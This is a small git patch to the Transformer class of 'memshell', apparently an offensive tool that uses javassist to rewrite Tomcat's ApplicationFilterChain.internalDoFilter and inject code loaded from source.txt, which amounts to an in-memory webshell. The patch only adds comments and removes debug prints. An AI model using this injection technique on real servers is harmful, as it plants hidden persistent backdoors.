From b75384143b134d240020d57af20ab83cd84430f6 Mon Sep 17 00:00:00 2001 From: rebeyond <5929401@qq.com> Date: Wed, 13 Jun 2018 23:59:08 -0700 Subject: [PATCH] fix the bug: javassist.NotFoundException: org.apache.catalina.core.ApplicationFilterChain --- src/net/rebeyond/memshell/Transformer.java | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/src/net/rebeyond/memshell/Transformer.java b/src/net/rebeyond/memshell/Transformer.java index 4ce686e..68083b0 100755 --- a/src/net/rebeyond/memshell/Transformer.java +++ b/src/net/rebeyond/memshell/Transformer.java @@ -21,8 +21,8 @@ public class Transformer implements ClassFileTransformer{ if ("org/apache/catalina/core/ApplicationFilterChain".equals(s)) { try { ClassPool cp = ClassPool.getDefault(); - ClassClassPath classPath = new ClassClassPath(aClass); - cp.insertClassPath(classPath); + ClassClassPath classPath = new ClassClassPath(aClass); //get current class's classpath + cp.insertClassPath(classPath); //add the classpath to classpool CtClass cc = cp.get("org.apache.catalina.core.ApplicationFilterChain"); CtMethod m = cc.getDeclaredMethod("internalDoFilter"); m.addLocalVariable("elapsedTime", CtClass.longType); @@ -41,8 +41,6 @@ public class Transformer implements ClassFileTransformer{ public String readSource() { StringBuilder source=new StringBuilder(); InputStream is = Transformer.class.getClassLoader().getResourceAsStream("source.txt"); - System.out.println(Transformer.class.getClassLoader()); - System.out.println(Transformer.class.getClassLoader().getResource("source.txt").getPath()); InputStreamReader isr = new InputStreamReader(is); String line=null; try {